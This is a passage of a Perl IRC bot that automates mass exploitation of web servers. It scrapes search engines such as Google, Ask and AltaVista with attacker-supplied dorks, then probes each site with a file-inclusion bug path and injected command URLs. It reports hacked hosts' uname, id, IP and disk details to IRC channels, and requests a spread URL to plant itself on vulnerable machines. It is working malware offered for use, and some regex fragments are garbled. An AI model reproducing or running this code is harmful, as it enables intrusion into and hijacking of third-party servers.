9,1Os: $os 8,1Link: $print" ); display( $dsp, "PRIVMSG $chanres :9,1Safemode:8,1 On 9,1Os: $os 8,1Link: $print" ); } } } } } exit; } } if ( $line =~ /PRIVMSG $channel :$start\s+(.*?)\s+(.*)/ ) { if ( my $pid = fork ) { waitpid( $pid, 0 ); } else { if (fork) { exit; } else { my $bug = $1; my $dork = $2; my $contatore = 0; my %hosts; my @asklist = &ask($dork); push( my @tot, @asklist ); my @puliti = &unici(@tot); display( $dsp, "PRIVMSG $channel :9,1ASK " . scalar(@tot) . " 9,1/9,1 " . scalar(@puliti) . " 9,1 pentru4,1 $dork" ); my $uni = scalar(@puliti); foreach my $site (@puliti) { $contatore++; if ( $contatore % 100 == 0 ) { } if ( $contatore == $uni - 1 ) { display( $dsp, "PRIVMSG $channel :9,1ASK a terminat pentru4,1 $dork" ); } my $test = "http://" . $site . $bug . $id . "?"; my $print = "http://" . $site . $bug . $printcmd . "?"; my $req = HTTP::Request->new( GET => $test ); my $ua = LWP::UserAgent->new(); $ua->timeout(5); my $response = $ua->request($req); if ( $response->is_success ) { my $re = $response->content; if ( $re =~ /kangkung/ && $re =~ /uid=/ ) { my $hs = geths($print); $hosts{$hs}++; if ( $hosts{$hs} == "1" ) { $x = os($test); ( $type, $space ) = split( /\,/, $x ); sleep(4); display( $dsp, "PRIVMSG $channel :9,1Exploiting .." ); display( $dsp, "PRIVMSG $channel :9,1Safemode: 8,1Off 9,1Os: $os Link: $print" ); display( $dsp, "PRIVMSG $channel :9,1Uname -a: 8,1$un" ); display( $dsp, "PRIVMSG $channel :9,1HDD: 8,1Free: ($free) Used: ($used) Total: ($all)" ); display( $dsp, "PRIVMSG $channel :9,1Uptime: 8,1 $up" ); display( $dsp, "PRIVMSG $channel :9,1ID: $id1" ); display( $dsp, "PRIVMSG $channel :9,1PWD: 8,1$pwd1" ); display( $dsp, "PRIVMSG $channel :9,1PHP Vers: 8,1 $php1" ); display( $dsp, "PRIVMSG $channel :9,1Software: 8,1 $sof1" ); display( $dsp, "PRIVMSG $channel :9,1IP Addr: 8,1 $ip1" ); display( $dsp, "PRIVMSG $channel :9,1Hostname: 8,1 $name1" ); display( $dsp, "PRIVMSG $admin :9,1Safemode: 8,1Off 9,1Os: $os Link: $print" ); display( $dsp, "PRIVMSG $chanres :9,1Safemode: 8,1Off 9,1Os: $os Link: $print" ); my $test2 = "http://" . $site . $bug . $spread . "?"; my $reqz = HTTP::Request->new( GET => $test2 ); my $ua = LWP::UserAgent->new(); my $response = $ua->request($reqz); } } elsif ( $re =~ /kangkung/ ) { my $hs = geths($print); $hosts{$hs}++; if ( $hosts{$hs} == "1" ) { $x = os($test); ( $type, $space ) = split( /\,/, $x ); sleep(4); display( $dsp, "PRIVMSG $channel :9,1Exploiting .." ); display( $dsp, "PRIVMSG $channel :9,1Safemode: 8,1Off 9,1Os: $os Link: $print" ); display( $dsp, "PRIVMSG $channel :9,1Uname -a: 8,1$un" ); display( $dsp, "PRIVMSG $channel :9,1HDD: 8,1Free: ($free) Used: ($used) Total: ($all)" ); display( $dsp, "PRIVMSG $channel :9,1Uptime: 8,1 $up" ); display( $dsp, "PRIVMSG $channel :9,1PWD: 8,1$pwd1" ); display( $dsp, "PRIVMSG $channel :9,1PHP Vers: 8,1 $php1" ); display( $dsp, "PRIVMSG $channel :9,1Software: 8,1 $sof1" ); display( $dsp, "PRIVMSG $channel :9,1IP Addr: 8,1 $ip1" ); display( $dsp, "PRIVMSG $channel :9,1Hostname: 8,1 $name1" ); display( $dsp, "PRIVMSG $admin :9,1Safemode:8,1 On 9,1Os: $os 8,1Link: $print" ); display( $dsp, "PRIVMSG $chanres :9,1Safemode:8,1 On 9,1Os: $os 8,1Link: $print" ); } } } } } exit; } } if ( $line =~ /PRIVMSG $channel :$start\s+(.*?)\s+(.*)/ ) { if ( my $pid = fork ) { waitpid( $pid, 0 ); } else { if (fork) { exit; } else { my $bug = $1; my $dork = $2; my $contatore = 0; my %hosts; my @fireball = fireball($dork); push( my @tot, @fireball ); my @puliti = &unici(@tot); display( $dsp, "PRIVMSG $channel :9,1FIREBALL " . scalar(@tot) . " 9,1/9,1 " . scalar(@puliti) . "  19,1 pentru4,1 $dork" ); my $uni = scalar(@puliti); foreach my $site (@puliti) { $contatore++; if ( $contatore % 100 == 0 ) { } if ( $contatore == $uni - 1 ) { display( $dsp, "PRIVMSG $channel :9,1FIREBALL a terminat pentru4,1 $dork" ); } my $test = "http://" . $site . $bug . $id . "?"; my $print = "http://" . $site . $bug . $printcmd . "?"; my $req = HTTP::Request->new( GET => $test ); my $ua = LWP::UserAgent->new(); $ua->timeout(5); my $response = $ua->request($req); if ( $response->is_success ) { my $re = $response->content; if ( $re =~ /kangkung/ && $re =~ /uid=/ ) { my $hs = geths($print); $hosts{$hs}++; if ( $hosts{$hs} == "1" ) { $x = os($test); ( $type, $space ) = split( /\,/, $x ); sleep(4); display( $dsp, "PRIVMSG $channel :9,1Exploiting .." ); display( $dsp, "PRIVMSG $channel :9,1Safemode: 8,1Off 9,1Os: $os Link: $print" ); display( $dsp, "PRIVMSG $channel :9,1Uname -a: 8,1$un" ); display( $dsp, "PRIVMSG $channel :9,1HDD: 8,1Free: ($free) Used: ($used) Total: ($all)" ); display( $dsp, "PRIVMSG $channel :9,1Uptime: 8,1 $up" ); display( $dsp, "PRIVMSG $channel :9,1ID: $id1" ); display( $dsp, "PRIVMSG $channel :9,1PWD: 8,1$pwd1" ); display( $dsp, "PRIVMSG $channel :9,1PHP Vers: 8,1 $php1" ); display( $dsp, "PRIVMSG $channel :9,1Software: 8,1 $sof1" ); display( $dsp, "PRIVMSG $channel :9,1IP Addr: 8,1 $ip1" ); display( $dsp, "PRIVMSG $channel :9,1Hostname: 8,1 $name1" ); display( $dsp, "PRIVMSG $admin :9,1Safemode: 8,1Off 9,1Os: $os Link: $print" ); display( $dsp, "PRIVMSG $chanres :9,1Safemode: 8,1Off 9,1Os: $os Link: $print" ); my $test2 = "http://" . $site . $bug . $spread . "?"; my $reqz = HTTP::Request->new( GET => $test2 ); my $ua = LWP::UserAgent->new(); my $response = $ua->request($reqz); } } elsif ( $re =~ /kangkung/ ) { my $hs = geths($print); $hosts{$hs}++; if ( $hosts{$hs} == "1" ) { $x = os($test); ( $type, $space ) = split( /\,/, $x ); sleep(4); display( $dsp, "PRIVMSG $channel :9,1Exploiting .." ); display( $dsp, "PRIVMSG $channel :9,1Safemode: 8,1Off 9,1Os: $os Link: $print" ); display( $dsp, "PRIVMSG $channel :9,1Uname -a: 8,1$un" ); display( $dsp, "PRIVMSG $channel :9,1HDD: 8,1Free: ($free) Used: ($used) Total: ($all)" ); display( $dsp, "PRIVMSG $channel :9,1Uptime: 8,1 $up" ); display( $dsp, "PRIVMSG $channel :9,1PWD: 8,1$pwd1" ); display( $dsp, "PRIVMSG $channel :9,1PHP Vers: 8,1 $php1" ); display( $dsp, "PRIVMSG $channel :9,1Software: 8,1 $sof1" ); display( $dsp, "PRIVMSG $channel :9,1IP Addr: 8,1 $ip1" ); display( $dsp, "PRIVMSG $channel :9,1Hostname: 8,1 $name1" ); display( $dsp, "PRIVMSG $admin :9,1Safemode:8,1 On 9,1Os: $os 8,1Link: $print" ); display( $dsp, "PRIVMSG $chanres :9,1Safemode:8,1 On 9,1Os: $os 8,1Link: $print" ); } } } } } exit; } } } sub display() { if ( $#_ == '1' ) { my $dsp = $_[0]; print $dsp "$_[1]\n"; } else { print $dsp "$_[0]\n"; } } sub os() { my $site = $_[0]; my $Res = query($site); while ( $Res =~ m/
uname -a:(.+?)\
/g ) { $un = $1; } while ( $Res =~ m/
uptime:(.+?)\
/g ) { $up = $1; } while ( $Res =~ m/
id:(.+?)\
/g ) { $id1 = $1; } while ( $Res =~ m/
pwd:(.+?)\
/g ) { $pwd1 = $1; } while ( $Res =~ m/
php:(.+?)\
/g ) { $php1 = $1; } while ( $Res =~ m/
software:(.+?)\
/g ) { $sof1 = $1; } while ( $Res =~ m/
server-ip:(.+?)\
/g ) { $ip1 = $1; } while ( $Res =~ m/
server-name:(.+?)\
/g ) { $name1 = $1; } while ( $Res =~ m/
os:(.+?)\
/g ) { $os = $1; } while ( $Res =~ m/
free:(.+?)\
/g ) { $free = $1; } while ( $Res =~ m/
used:(.+?)\
/g ) { $used = $1; } while ( $Res =~ m/
total:(.+?)\
/g ) { $all = $1; } } sub googlet { my @dominios = ( "ae", "com.ar", "at", "com.au", "be", "com.br", "ca", "ch", "cl", "de", "dk", "eu", "sa", "id", "tr", "pl", "uk", "gov", "my", "mx" ); my @country = ( "AE", "AR", "AT", "AU", "BE", "BR", "CA", "CH", "CL", "DE", "DK" ); my @lst; my $key = key( $_[0] ); my $c = 0; foreach my $i (@dominios) { my @lista = google( $i, $key, $country[$c] ); push( @lst, @lista ); $c++; } return @lst; } sub google() { my @lst; my $i = $_[0]; my $key = $_[1]; my $country = $_[2]; for ( $b = 0 ; $b <= 100 ; $b += 100 ) { my $Go = ( "www.google." . $i . "/search?hl=en&q=" . key($key) . "&num=100&start=" . $b . "&meta=cr%3Dcountry" . $country ); my $Res = query($Go); while ( $Res =~ m/\"]*)\//g ) { if ( $1 !~ /google/ ) { my $k = $1; my @grep = links($k); push( @lst, @grep ); } } } return @lst; } sub alltheweb() { my @lst; my $key = $_[0]; my $i = 0; my $pg = 0; for ( $i = 0 ; $i <= 1000 ; $i += 100 ) { my $all = ( "http://www.alltheweb.com/search?cat=web&_sb_lang=any&hits=100&q=" . key($key) . "&o=" . $i ); my $Res = query($all); while ( $Res =~ m/http:\/\/(.+?)\<\/span>/g ) { my $k = $1; $k =~ s/ //g; my @grep = links($k); push( @lst, @grep ); } } return @lst; } sub altavista() { my @lst; my $key = $_[0]; for ( $b = 1 ; $b <= 1000 ; $b += 10 ) { my $AlT = ("http://www.altavista.com/web/results?itag=ody&q=".key($key)."&kgs=".$b); my $Res = query($AlT); while ( $Res =~ m/(.+?)\//g ) { if ( $1 !~ /altavista/ ) { my $k = $1; $k =~ s/Succ/ ) { } else { return @lst; } } return @lst; } sub uolsub() { my @lst; my $key = $_[0]; for ( $b = 1 ; $b <= 1000 ; $b += 10 ) { my $UoL = ( "http://busca.uol.com.br/www/index.html?q=" . key($key) . "&start=" . $i ); my $Res = query($UoL); while ( $Res =~ m/\"]*)/g ) { my $k = $1; if ( $k !~ /busca|uol|yahoo/ ) { my $k = $1; my @grep = links($k); push( @lst, @grep ); } } } return @lst; } sub search() { my $key = $_[0]; my $i = 1; my $pg = 80; my @lst; my $av = 1; while ( $i <= $pg ) { my $search = "http://www.search.com/search?q=$key"; my $req = HTTP::Request->new( GET => $search ); my $ua = LWP::UserAgent->new(); $ua->agent('Netscape 4.78/U.S., 25-Jun-01; (c) 1995-2000'); my $response = $ua->request($req); my $resp = $response->content; while ( $resp =~ m/\"]*)\//g ) { if ( $1 !~ /msn|live/ ) { my $k = $1; my @grep = links($k); push( @lst, @grep ); } } } return @lst; } sub ask() { my @lst; my $key = $_[0]; my $i = 0; my $pg = 0; for ( $i = 0 ; $i <= 1000 ; $i += 10 ) { my $Ask = ( "http://it.ask.com/web?q=" . key($key) . "&o=312&l=dir&qsrc=0&page=" . $i . "&dm=all" ); my $Res = query($Ask); while ( $Res =~ m/new( PeerAddr => "$host", PeerPort => "80", Proto => "tcp" ) or return; print $sock "GET $query HTTP/1.0\r\nHost: $host\r\nAccept: */*\r\nUser-Agent: Mozilla/5.0\r\n\r\n"; my @r = <$sock>; $page = "@r"; close($sock); }; return $page; } sub get_link() { my $file_print = $_[1]; my $link = $_[0]; my $host = $_[0]; my $host_dir = $_[0]; my @links; $host_dir =~ s/(.*)\/[^\/]*$/\1/; $host =~ s/([-a-zA-Z0-9\.]+)\/.*/$1/; $host_dir = &end($host_dir); $host = &end($host); $link = &end($host); push( @links, $link, $host, $host_dir ); open( $file, '>>', $file_print ); print $file "$link\n$host_dir\n$host\n"; close($file); return @links; } sub unici { my @unici = (); my %visti = (); foreach my $elemento (@_) { $elemento =~ s/\/+/\//g; next if $visti{$elemento}++; push @unici, $elemento; } return @unici; }